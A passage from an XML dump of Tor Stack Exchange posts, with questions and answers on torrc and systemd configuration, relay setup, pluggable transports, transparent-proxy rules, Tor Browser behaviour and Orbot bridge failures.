stun:stun.l.google.com:19302,stun:stun.voip.blackberry.com:3478,stun:stun.altar.com.pl:3478,stun:stun.antisip.com:3478,stun:stun.bluesip.net:3478,stun:stun.dus.net:3478,stun:stun.epygi.com:3478,stun:stun.sonetel.com:3478,stun:stun.sonetel.net:3478,stun:stun.stunprotocol.org:3478,stun:stun.uls.co.za:3478,stun:stun.voipgate.com:3478,stun:stun.voys.nl:3478&#xA;ExitPortStatistics 1&#xA;ExtraInfoStatistics 1&#xA;ExtORPort auto&#xA;Log notice stdout&#xA;#DisableNetwork 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;/lib/systemd/system/tor.service&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;# This service is actually a systemd target,&#xA;# but we are using a service since targets cannot be reloaded.&#xA;&#xA;[Unit]&#xA;Description=Anonymizing overlay network for TCP (multi-instance-master)&#xA;&#xA;[Service]&#xA;Type=oneshot&#xA;RemainAfterExit=yes&#xA;ExecStart=/bin/true&#xA;ExecReload=/bin/true&#xA;&#xA;[Install]&#xA;WantedBy=multi-user.target&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;/etc/systemd/system/tor.service.d/override.conf&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;[Unit]&#xA;Before=shutdown.target&#xA;Conflicts=shutdown.target&#xA;Wants=network-pre.target nss-lookup.target ufw.service iptables.service ip6tables.service netfilter-persistent.service dhcpcd.service NetworkManager.service networkd-dispatcher.service systemd-networkd.service systemd-resolved.service NetworkManager-dispatcher.service&#xA;After=network-online.target nss-lookup.target ufw.service iptables.service ip6tables.service netfilter-persistent.service dhcpcd.service NetworkManager.service networkd-dispatcher.service systemd-networkd.service systemd-resolved.service NetworkManager-dispatcher.service&#xA;&#xA;[Service]&#xA;StandardError=journal&#xA;StandardOutput=journal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31255" LastEditorUserId="31255" LastEditDate="2023-05-14T01:18:39.400" LastActivityDate="2023-05-26T10:13:12.373" Title="Tor isn't fully starting nor bootstraping! Signaled readiness to systemd" Tags="|linux|circuit|obfs4|bootstrapping|systemd|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23744" PostTypeId="2" ParentId="23692" CreationDate="2023-05-18T01:11:06.747" Score="0" Body="&lt;p&gt;Unless there is malware in the .zip file or something that needs to be opened on a non-isolated machine, then no.&lt;/p&gt;&#xA;&lt;p&gt;If you seriously need to open files that you download while keeping anonymity, just use an isolated computer or virtual network like Qubes-Whonix.&lt;/p&gt;&#xA;" OwnerDisplayName="user37855" LastActivityDate="2023-05-18T01:11:06.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23746" PostTypeId="1" CreationDate="2023-05-18T20:31:56.363" Score="0" ViewCount="80" Body="&lt;p&gt;How do I fix the following error&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;gt; [stage-1  7/11] RUN     addgroup --system -gid ${TOR_LINUX_GID} tor &amp;amp;&amp;amp;         adduser --system --ingroup tor -uid ${TOR_LINUX_UID} tor:                                     &#xA;#0 0.333 Value &amp;quot;tor&amp;quot; invalid for option gid (number expected)                                                                                                                   &#xA;#0 0.333 adduser [--home DIR] [--shell SHELL] [--no-create-home] [--uid ID]                                                                                                     &#xA;#0 0.333 [--firstuid ID] [--lastuid ID] [--gecos GECOS] [--ingroup GROUP | --gid ID]                                                                                            &#xA;#0 0.333 [--disabled-password] [--disabled-login] [--add_extra_groups] USER&#xA;#0 0.333    Add a normal user&#xA;#0 0.333 &#xA;#0 0.333 adduser --system [--home DIR] [--shell SHELL] [--no-create-home] [--uid ID]&#xA;#0 0.333 [--gecos GECOS] [--group | --ingroup GROUP | --gid ID] [--disabled-password]&#xA;#0 0.333 [--disabled-login] [--add_extra_groups] USER&#xA;#0 0.333    Add a system user&#xA;#0 0.333 &#xA;#0 0.333 adduser --group [--gid ID] GROUP&#xA;#0 0.333 addgroup [--gid ID] GROUP&#xA;#0 0.333    Add a user group&#xA;#0 0.333 &#xA;#0 0.333 addgroup --system [--gid ID] GROUP&#xA;#0 0.333    Add a system group&#xA;#0 0.333 &#xA;#0 0.333 adduser USER GROUP&#xA;#0 0.333    Add an existing user to an existing group&#xA;#0 0.333 &#xA;#0 0.333 general options:&#xA;#0 0.333   --quiet | -q      don't give process information to stdout&#xA;#0 0.333   --force-badname   allow usernames which do not match the&#xA;#0 0.333                     NAME_REGEX configuration variable&#xA;#0 0.333   --help | -h       usage message&#xA;#0 0.333   --version | -v    version number and copyright&#xA;#0 0.333   --conf | -c FILE  use FILE as configuration file&#xA;#0 0.333 &#xA;------&#xA;failed to solve: process &amp;quot;/bin/sh -c addgroup --system -gid ${TOR_LINUX_GID} tor &amp;amp;&amp;amp;         adduser --system --ingroup tor -uid ${TOR_LINUX_UID} tor&amp;quot; did not complete successfully: exit code: 1&#xA;[+] Running 5/5&#xA; ! tor Warning                                                                                                                                                             3.1s &#xA; ! fulcrum Warning                                                                                                                                                         3.0s &#xA; ! bitcoind Warning                                                                                                                                                        3.0s &#xA; ! nginx Warning                                                                                                                                                           3.1s &#xA; ! node Warning                                                                                                                                                            3.1s &#xA;[+] Building 1.1s (15/19)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="38447" LastEditorUserId="24966" LastEditDate="2023-05-19T16:30:13.530" LastActivityDate="2023-05-23T11:24:59.893" Title="Linux Ubuntu error" Tags="|linux|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23747" PostTypeId="2" ParentId="23746" CreationDate="2023-05-23T11:24:59.893" Score="0" Body="&lt;p&gt;I'd say the variable ${TOR_LINUX_GID} is empty and what is running is actually:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/bin/sh -c addgroup --system -gid tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Since &amp;quot;tor&amp;quot; is not a number you get the error:&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Value &amp;quot;tor&amp;quot; invalid for option gid (number expected)&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Fix is to give more information i.e. why/where you run those commands, check why the variable is empty and maybe run the command with more verbosity.&lt;/p&gt;&#xA;" OwnerUserId="38145" LastActivityDate="2023-05-23T11:24:59.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23749" PostTypeId="2" ParentId="268" CreationDate="2023-05-25T14:03:53.857" Score="0" Body="&lt;p&gt;2023 IPv6 works fine. Here is &lt;a href=&quot;https://gitlab.torproject.org/legacy/trac/-/wikis/org/roadmaps/Tor/IPv6&quot; rel=&quot;nofollow noreferrer&quot;&gt;IPv6 tor roadmap&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It's enouth to have this lines in torrc&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ClientUseIPv6 1&#xA;ClientUseIPv4 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to connect through IPv6&lt;/p&gt;&#xA;" OwnerUserId="38476" LastActivityDate="2023-05-25T14:03:53.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23751" PostTypeId="2" ParentId="23743" CreationDate="2023-05-26T10:13:12.373" Score="0" Body="&lt;p&gt;This &lt;em&gt;odd&lt;/em&gt; behaviour is because of the bridges. It thinks that it has started &lt;strong&gt;if&lt;/strong&gt; it has bootstrapped directly &lt;strong&gt;or&lt;/strong&gt; successfully connected to the bridges specified(no matter of pluggable transports used, if any). Actually, the &lt;em&gt;real&lt;/em&gt; connectivity check is needed in &lt;strong&gt;both&lt;/strong&gt; cases - and this is just a place for another service that starts &lt;em&gt;after&lt;/em&gt; Tor, uses Python and Stem library &lt;strong&gt;and&lt;/strong&gt; resolves some dot-onion DNS names you need in a while+sleep loop, after that it exits, it's a one-shot service. And all your services that do require Tor connectivity has to be dependent on that checker service, not on Tor one, because even if you're not using bridges - you're still have a case &amp;quot;Host not found&amp;quot; even if it's 100% bootstrapped - for a first time it will not resolve it properly &lt;em&gt;in time&lt;/em&gt;, but the second request will be just fine. That's why you need that tiny service&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-05-26T10:13:12.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23752" PostTypeId="2" ParentId="19402" CreationDate="2023-05-27T15:30:30.487" Score="0" Body="&lt;p&gt;Per &lt;a href=&quot;https://forum.torproject.net/t/how-to-enable-firefox-account-sync/7735/2?u=rokejulianlockhart&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.torproject.net/t/how-to-enable-firefox-account-sync/7735/2?u=rokejulianlockhart&lt;/a&gt;, convert &lt;code&gt;identity.fxaccounts.enabled&lt;/code&gt; from &lt;code&gt;false&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; in &lt;a href=&quot;https://askubuntu.com/a/985202/1002900&quot;&gt;&lt;code&gt;start-tor-browser&lt;/code&gt;&lt;/a&gt; &lt;code&gt;about:config&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;However, the synchronization functionality itself isn't necessarily entirely operative yet/anymore.&lt;/p&gt;&#xA;" OwnerUserId="30636" LastEditorUserId="30636" LastEditDate="2023-05-27T15:34:50.320" LastActivityDate="2023-05-27T15:34:50.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23755" PostTypeId="1" CreationDate="2023-05-28T10:50:34.913" Score="0" ViewCount="92" Body="&lt;p&gt;This is the lines that I added to the torrc file&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Nickname    myNiceRelay  # Change &amp;quot;myNiceRelay&amp;quot; to something you like&#xA;ContactInfo your@e-mail  # Write your e-mail and be aware it will be published&#xA;ORPort      443          # You might use a different port, should you want to&#xA;ExitRelay   0&#xA;SocksPort   0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I run this command and it give me a error -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;systemctl enable --now tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The error I got -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Job for tor.service failed because the control process exited with error code.&#xA;See &amp;quot;systemctl status tor.service&amp;quot; and &amp;quot;journalctl -xeu tor.service&amp;quot; for details.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;systemctl status tor.service Output -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;× tor.service - Anonymizing overlay network for TCP&#xA;     Loaded: loaded (/usr/lib/systemd/system/tor.service; enabled; preset: disabled)&#xA;     Active: failed (Result: exit-code) since Sun 2023-05-28 16:10:32 IST; 10s ago&#xA;    Process: 12103 ExecStartPre=/usr/bin/tor --runasdaemon 0 --defaults-torrc /usr/share/tor/defaults-torrc -f /etc/tor/torrc --verify-config (code=exited, status=1/FAILURE)&#xA;        CPU: 11ms&#xA;&#xA;May 28 16:10:32 redpepper systemd[1]: tor.service: Scheduled restart job, restart counter is at 5.&#xA;May 28 16:10:32 redpepper systemd[1]: Stopped tor.service - Anonymizing overlay network for TCP.&#xA;May 28 16:10:32 redpepper systemd[1]: tor.service: Start request repeated too quickly.&#xA;May 28 16:10:32 redpepper systemd[1]: tor.service: Failed with result 'exit-code'.&#xA;May 28 16:10:32 redpepper systemd[1]: Failed to start tor.service - Anonymizing overlay network for TCP.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What should I do now?&lt;/p&gt;&#xA;" OwnerUserId="38491" LastActivityDate="2023-05-30T21:10:34.433" Title="I can not start my Tor relay on my Fedora system" Tags="|configuration|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23756" PostTypeId="2" ParentId="23755" CreationDate="2023-05-30T21:10:34.433" Score="0" Body="&lt;p&gt;You need to actually &lt;em&gt;change&lt;/em&gt; ContactInfo and Nickname values - that's why it's failing to start, change them :) You &lt;strong&gt;don't have to&lt;/strong&gt; supply ContactInfo&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-05-30T21:10:34.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23757" PostTypeId="1" CreationDate="2023-06-04T04:07:19.847" Score="-1" ViewCount="26" Body="&lt;p&gt;i dont know someone else asking this before but bere is my quetion&lt;/p&gt;&#xA;&lt;p&gt;if i had biuld tor relay to help network&#xA;obviously the network will quickly biuld circut on it&lt;/p&gt;&#xA;&lt;p&gt;i wana put huge bandwidth on it&#xA;its ok tor use my bandwideth&lt;/p&gt;&#xA;&lt;p&gt;but can i hold some of it for my own?&lt;/p&gt;&#xA;&lt;p&gt;for instans 100gbit band witdth&#xA;can i let tor use 50 % of it and rest will be mine to use?&lt;/p&gt;&#xA;&lt;p&gt;is there someway go control it?&lt;/p&gt;&#xA;&lt;p&gt;tnx for answering&lt;/p&gt;&#xA;" OwnerUserId="38514" LastActivityDate="2023-06-04T05:00:27.127" Title="biulding tor relay" Tags="|relays|help|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23758" PostTypeId="2" ParentId="23757" CreationDate="2023-06-04T05:00:27.127" Score="0" Body="&lt;p&gt;Tor relays have the &lt;code&gt;BandwidthRate&lt;/code&gt; and &lt;code&gt;BandwidthBurst&lt;/code&gt; torrc options to restrict the rate of Tor traffic. You can use these to limit the Tor traffic to an average of 500 Mbps for example.&lt;/p&gt;&#xA;&lt;p&gt;There's also &lt;code&gt;AccountingMax&lt;/code&gt; if you need to limit the amount of traffic in a day, month, or week (for example if your ISP only allows a certain amount of traffic per month).&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2023-06-04T05:00:27.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23759" PostTypeId="2" ParentId="20922" CreationDate="2023-06-04T06:38:40.730" Score="0" Body="&lt;p&gt;You can use this &lt;strong&gt;GUI&lt;/strong&gt; for tor expert bundle &amp;amp; use &lt;strong&gt;Meek&lt;/strong&gt; on the settings:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/abysshint/tor-control-panel&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/abysshint/tor-control-panel&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34736" LastActivityDate="2023-06-04T06:38:40.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23760" PostTypeId="1" AcceptedAnswerId="23763" CreationDate="2023-06-05T03:39:12.527" Score="0" ViewCount="186" Body="&lt;p&gt;Search history is private anyway, websites don't see it, so I dont see how &lt;em&gt;not&lt;/em&gt; saving search history is a privacy benefit. Why does Tor not save history?&lt;/p&gt;&#xA;" OwnerUserId="38518" LastActivityDate="2023-06-08T18:13:15.743" Title="Why does Tor Browser not store search history?" Tags="|browsers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23763" PostTypeId="2" ParentId="23760" CreationDate="2023-06-08T18:13:15.743" Score="0" Body="&lt;p&gt;It's not a benefit for privacy, you're correct! But it's a stealth component. The Tor Browser is not just a tweaked Firefox ESR. Basically, all the tweaks - even the odd ones, are governed by the following vectors:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Privacy&lt;/strong&gt; - to prevent data leaking in any form like the data itself, location, cookies, e.t.c.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Melting&lt;/strong&gt; - like in &amp;quot;I, Robot&amp;quot; movie, every instance of Tor browser is supposed to be &amp;quot;One of Us&amp;quot;, indistinctable and unfingerprintable as good as possible. This feature comes with the price like missing features that are completely ripped off the code, so you can not enable them in any way.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Stealth&lt;/strong&gt; - The case that a malicious party such as a criminal, especially a police, obtaining the &lt;em&gt;physical&lt;/em&gt; access to device used for anonymous surfing. So - in this case - the history stored can be a death sentence for some people using this browser, so that's &lt;em&gt;why&lt;/em&gt; it is not stored.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you need a regular browsing - just use a virtual machine with a regular browser patched through Tor - and you will be just fine! Tor Browser is made like a swiss kinfe for a wide audience, so that's why it is as it is&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-06-08T18:13:15.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23764" PostTypeId="2" ParentId="20922" CreationDate="2023-06-08T18:22:07.007" Score="0" Body="&lt;p&gt;Just in 3 steps! They are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Obtain the transport proxy&lt;/strong&gt; - go to the proxy's site and download it, or you can try taking a binary out of the Tor Browser Bundle, it also works ;) But I do recommend you to build the last version from source if you know how to do it - it will give you many benefits including speed&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Point Tor to the proxy binary&lt;/strong&gt; - just add to your &lt;code&gt;torrc&lt;/code&gt; config a line like this &lt;code&gt;ClientTransportPlugin obfs2,obfs3,obfs4 exec c:\\Tor\\pt\\obfs4proxy.exe&lt;/code&gt; or for Linux/Unix &lt;code&gt;ClientTransportPlugin obfs2,obfs3,obfs4 exec /opt/tor/obfs4proxy&lt;/code&gt;. It will tell Tor that the transports that are listed &lt;em&gt;without space, just comma separated&lt;/em&gt; in a first argument are served by the proxy binary with the second argument. The proxy binary's path must be &lt;strong&gt;strictly&lt;/strong&gt; absolute, also pay attention if you're using a chroot environments in Unix or Linux! The obfs line was from my actual working configs to illustrate you how to use multiple transports, put just &lt;code&gt;meek&lt;/code&gt; for a first argument in your case.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Add a bridge with your transport&lt;/strong&gt; - add &lt;code&gt;bridge meek ...&lt;/code&gt; line to your config &lt;em&gt;after&lt;/em&gt; defining the transport handler, and enjoy!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-06-08T18:22:07.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23766" PostTypeId="1" CreationDate="2023-06-10T08:25:05.120" Score="0" ViewCount="58" Body="&lt;p&gt;There is an advice instructing to use compiled apps instead of webapps, since the former can be checked against checksums, unlike the latter which is susceptible to Javascript code injection. E.g: use Protonmail email app instead of reading mail from protonmail.com.&lt;/p&gt;&#xA;&lt;p&gt;Many similar questions have answers discouraging the use of other apps with Tor because it might leak info. Does this advice apply to include using apps over Tor? Is it a good security practice? and what possible fingerprints can such app obtain?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Assumptions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Threat model: the same as &lt;a href=&quot;https://proton.me/blog/climate-activist-arrest&quot; rel=&quot;nofollow noreferrer&quot;&gt;the French activist&lt;/a&gt; that Protonmail gave the activist's IP address to Swiss Authorities.&lt;/li&gt;&#xA;&lt;li&gt;Applications used are open-source.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="38405" LastActivityDate="2023-06-17T19:23:14.060" Title="Implications of using applications on Tor" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23767" PostTypeId="2" ParentId="15064" CreationDate="2023-06-10T13:24:06.497" Score="0" Body="&lt;p&gt;For your point 2 you can follow the instructions found in &lt;a href=&quot;https://forum.torproject.net/t/how-to-re-enable-login-saving-on-tor-browser-desktop/7926/3&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt;. Depending on your version of Tor Browser and OS you will have to check in the page about:config (to be entered as address) whether &lt;em&gt;signon.autofillForms.http&lt;/em&gt; is set to &lt;strong&gt;true&lt;/strong&gt; and in the preferences whether a master password is set, and enable history and disable &lt;em&gt;Always use private browsing mode&lt;/em&gt; in the security preferences.&lt;/p&gt;&#xA;" OwnerUserId="38539" LastActivityDate="2023-06-10T13:24:06.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23768" PostTypeId="1" CreationDate="2023-06-12T22:43:53.430" Score="0" ViewCount="167" Body="&lt;p&gt;Is it possible to use tor browser inside a transparent proxy? I try to use the tor browser inside a transparent proxy but I can't, it gives an error. The transparent proxy itself works perfectly, in other browsers accessing onion sites and I navigate perfectly on clear a net! Here is my torrc configuration:&lt;/p&gt;&#xA;&lt;p&gt;VirtualAddrNetwork 10.192.0.0/8 &lt;br&gt;&#xA;AutoMapHostsOnResolve 1 &lt;br&gt;&#xA;AutoMapHostsSuffixes .onion, .exit &lt;br&gt;&#xA;TransPort 9040 &lt;br&gt;&#xA;DNSPort 9053 &lt;br&gt;&lt;/p&gt;&#xA;&lt;p&gt;my rules iptables:&lt;br&gt;&#xA;iptables -t nat -A OUTPUT -p tcp --syn -j REDIRECT --to-ports 9040&lt;br&gt;&lt;/p&gt;&#xA;&lt;p&gt;iptables -t nat -A OUTPUT -p tcp --syn --dport 53 -j REDIRECT --to-ports 9053&lt;br&gt;&lt;/p&gt;&#xA;&lt;p&gt;iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 9053&lt;br&gt;&lt;/p&gt;&#xA;&lt;p&gt;Output error log Tor:&lt;br&gt;&#xA;warn] Rejecting request for anonymous connection to private address [scrubbed] on a TransPort or NATDPort.  Possible loop in your NAT rules?&lt;/p&gt;&#xA;" OwnerUserId="34260" LastEditorUserId="34260" LastEditDate="2023-06-12T22:45:41.437" LastActivityDate="2023-06-15T04:16:07.610" Title="How to use tor browser inside a transparent proxy?" Tags="|configuration|proxy|error|transparent-proxy|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23769" PostTypeId="1" CreationDate="2023-06-14T01:37:56.533" Score="0" ViewCount="83" Body="&lt;p&gt;I would like to set up a proxy that routes my traffic through Tor and then connect to my VPN. I have already found a few threads here but with conflicting answers.&#xA;In the control panel I can set up a proxy but what is the IP and port for Tor? The IP should be 127.0.0.1 right? But what is the Port is it either 9150 or 9050?&lt;/p&gt;&#xA;&lt;p&gt;Do I have the tor browser running in the background to achieve the goal of routing my traffic through Tor?&lt;/p&gt;&#xA;&lt;p&gt;Hopefully someone can help me.&lt;/p&gt;&#xA;" OwnerUserId="38554" LastActivityDate="2023-06-14T13:44:20.507" Title="What is the right port and IP adress for Tor proxy on Windows 10?" Tags="|windows|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23770" PostTypeId="2" ParentId="23769" CreationDate="2023-06-14T13:44:20.507" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;By &lt;strong&gt;default&lt;/strong&gt; it's 9050, but since Windows 7 SP1 and forth Microsoft looks like to mess up things intentionally: some system services are taking 9050 and they are the system ones or they are &lt;em&gt;coming back by themselves&lt;/em&gt; after an update. So - as I'm doing it - I'm setting a port explicitly, like 9999 or 19999 e.t.c., so it will not be taken.&lt;/li&gt;&#xA;&lt;li&gt;Tor browser has absolutely &lt;strong&gt;nothing&lt;/strong&gt; to do about the traffic routing, so you need to use virtualization or a physical router to do so&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-06-14T13:44:20.507" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23771" PostTypeId="2" ParentId="23768" CreationDate="2023-06-15T04:16:07.610" Score="0" Body="&lt;p&gt;The Tor Browser gives the following documentation in &lt;code&gt;tor-browser/Browser/start-tor-browser&lt;/code&gt; for running the browser using the system Tor. I haven't tried it, and I don't know if these instructions are up-to-date.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Using a system-installed Tor process with Tor Browser:&#xA;# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&#xA;# The Tor ControlPort password should be given inside double quotes, inside&#xA;# single quotes, i.e. if the ControlPort password is “secret” (without&#xA;# curly quotes) then we must set the environment variable *exactly* like&#xA;# this:&#xA;#&#xA;# TOR_CONTROL_PASSWD='&amp;quot;secret&amp;quot;'&#xA;#&#xA;# Yes, the variable MUST be double-quoted, then single-quoted, exactly as&#xA;# shown. This is used by TorButton and Tor Launcher to authenticate to Tor's&#xA;# ControlPort, and is necessary for using TB with a system-installed Tor.&#xA;#&#xA;# Additionally, if using a system-installed Tor, the following about:config&#xA;# options should be set (values in &amp;lt;&amp;gt; mean they are the value taken from your&#xA;# torrc):&#xA;#&#xA;# SETTING NAME                            VALUE&#xA;# network.proxy.socks                     127.0.0.1&#xA;# network.proxy.socks_port                &amp;lt;SocksPort&amp;gt;&#xA;# extensions.torbutton.inserted_button    true&#xA;# extensions.torbutton.launch_warning     false&#xA;# extensions.torbutton.loglevel           2&#xA;# extensions.torbutton.logmethod          0&#xA;# extensions.torlauncher.control_port      &amp;lt;ControlPort&amp;gt;&#xA;# extensions.torlauncher.loglevel          2&#xA;# extensions.torlauncher.logmethod         0&#xA;# extensions.torlauncher.prompt_at_startup false&#xA;# extensions.torlauncher.start_tor         false&#xA;#&#xA;# where the '[...]' in the banned_ports option means &amp;quot;leave anything that was&#xA;# already in the preference alone, just append the things specified after it&amp;quot;.&#xA;&#xA;# Either set `TOR_CONTROL_PASSWD` before running ./start-tor-browser, or put&#xA;# your password in the following line where the word “secret” is:&#xA;setControlPortPasswd ${TOR_CONTROL_PASSWD:='&amp;quot;secret&amp;quot;'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2023-06-15T04:16:07.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23772" PostTypeId="1" CreationDate="2023-06-16T12:42:11.910" Score="0" ViewCount="964" Body="&lt;p&gt;In order to connect to Tor on my iPad, I use the Orbot app. However, recently the app started constantly failing to connect with the following error messages (the IP addresses of the Tor bridges are redacted):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Jun 16 14:44:07.000 [warn] {NET} Proxy Client: unable to connect OR connection (handshaking (proxy)) with [REDACTED IP ADDRESS] ID=bnv78wTYyTE9MO72tTPFiTEb695mXvL2qOlKn3d7bCo RSA_ID=FA6669A8B8F31CADA558EC10791EDFAAC300A640 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Jun 16 14:44:08.000 [notice] {CONFIG} Bridge 'Sr2Bridge647' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address ([REDACTED IP ADDRESS]) based on the configured Bridge address.&#xA;Jun 16 14:44:09.000 [notice] {CONFIG} Bridge 'Sr2Bridge647' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address ([REDACTED IP ADDRESS]) based on the configured Bridge address.&#xA;Jun 16 14:45:02.000 [notice] {GENERAL} Interrupt: exiting cleanly.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2023/06/16 11:44:02 [NOTICE]: obfs4proxy-0.0.14 - launched&#xA;2023/06/16 11:44:05 [ERROR]: obfs4([scrubbed]:63595) - outgoing connection failed: handshake: ntor AUTH mismatch: Derived: 83c130f58a5a79ecf0c8c11e3bbd5c51d4204b83501e3114641a83d8fb130a6e Received:fa9d4e8bca65ff0161b58d005e02b8d3a4f73080be3f1d9079f56a97bdb4f6da.&#xA;2023/06/16 11:44:06 [ERROR]: obfs4([scrubbed]:63595) - outgoing connection failed: handshake: ntor AUTH mismatch: Derived: 10313bdc680ea68a3d558d104e9550b31ea0731a48613fa67395468107d8f457 Received:92ce0ee40ad785a68b98adcf424271710fa3656bf2860b1aa384b48962a95b9f.&#xA;2023/06/16 11:44:07 [ERROR]: obfs4([scrubbed]:63595) - outgoing connection failed: handshake: ntor AUTH mismatch: Derived: b45373c01ba945ce3f4ae89c41de6edf6aee860cb83c58c7a111152740b98029 Received:17082eab39819e9a777885c98ff5467077131ae6e21c6ec2d2a51d7f3f65880b.&#xA;2023/06/16 11:45:02 [NOTICE]: obfs4 Stop: synthesizing SIGINT and SIGTERM&#xA;2023/06/16 11:45:02 [NOTICE]: obfs4 - terminated&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Full screenshots of the Orbot logs are below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fqczo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fqczo.jpg&quot; alt=&quot;Orbot Error Message 1&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p0jRd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p0jRd.png&quot; alt=&quot;Orbot Error Message 2&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In order to connect to Tor, I use custom bridges that I receive through Tor’s Telegram bot. I am currently in Russia where direct access to Tor is blocked, so connecting through bridges is my only option.&lt;/p&gt;&#xA;&lt;p&gt;The bridges uploaded to Orbot are freshly received from Tor. The problem seems not to be in the bridges themselves, because when I configure a Tor bridge on a PC, the connection works fine. I started having this problem on iOS and iPadOS relatively recently.&lt;/p&gt;&#xA;&lt;p&gt;What may be causing the connection through Orbot to fail?&lt;/p&gt;&#xA;" OwnerUserId="38566" LastActivityDate="2023-06-16T12:42:11.910" Title="Why does Orbot on iPadOS keep failing to connect to 